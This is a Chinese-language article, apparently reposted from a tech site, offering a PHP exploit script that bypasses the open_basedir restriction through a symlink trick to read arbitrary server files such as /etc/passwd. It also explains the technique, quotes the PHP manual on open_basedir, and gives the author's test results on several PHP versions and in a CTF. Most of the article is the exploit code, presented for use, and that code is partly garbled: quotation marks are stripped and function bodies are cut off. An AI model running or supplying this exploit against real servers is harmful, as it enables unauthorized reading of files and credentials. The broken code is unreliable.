PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍 |
漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在 。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以 。 漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068 。 给出我写的EXP: 复制代码 代码如下: <?php /* * by phithon * From http://www.jb51.net * detail: http://cxsecurity.com/issue/WLB-2009110068 */ header(content-type: text/plain); error_reporting(-1); ini_set(display_errors, TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get(open_basedir), phpversion()); printf("disable_functions: %s\n", ini_get(disable_functions)); $file = str_replace(\\, /, isset($_REQUEST[file]) ? $_REQUEST[file] : /etc/passwd); $relat_file = getRelativePath(__FILE__, $file); $paths = explode(/, $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir(..); } $paths = explode(/, $relat_file); $j = 0; for ($i = 0; $paths[$i] == ..; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir(..); } $tmp = array_fill(0, $j + 1, $name); symlink(implode(/, $tmp), tmplink); $tmp = array_fill(0, $j, ..); symlink(tmplink/ . implode(/, $tmp) . $file, $exp); unlink(tmplink); mkdir(tmplink); delfile($name); $exp = dirname($_SERVER[SCRIPT_NAME]) . "/{$exp}"; $exp = "http://{$_SERVER[SERVER_NAME]}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile(tmplink); function getRelativePath($from, $to) { $from = explode(/, $from); foreach($from as $depth => $dir) { function delfile($deldir){ function File_Str($string) function getRandStr($length = 6) { 如我们欲读取/etc/passwd 。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd 。 其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd 。 这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了 。 精华就是这四句: 复制代码 代码如下: symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink"); 我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd 。 其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。 错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题 。 open_basedir 将 PHP 所能打开的文件限制在指定的目录树,包括文件本身 。本指令 不受 安全模式打开或者关闭的影响 。 当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查 。当文件在指定的目录树之外时 PHP 将拒绝打开它 。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制 。 特殊值 . 指明脚本的工作目录将被作为基准目录 。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变 。 在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中) 。 在 Windows 中,用分号分隔目录 。在任何其它系统中用冒号分隔目录 。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承 。 用 open_basedir 指定的限制实际上是前缀,不是目录名 。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话 。如果要将访问限制在仅为指定的目录,用斜 线结束路径名 。例如:“open_basedir = /dir/incl/” 。 Note: 支持多个目录是 3.0.7 加入的 。 默认是允许打开所有文件 。 我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取 。 树莓派测试: 相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读 。而且版本没要求,危害比较大 。 前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获 。 发现没旁站,流量是通过网关转发的 。 |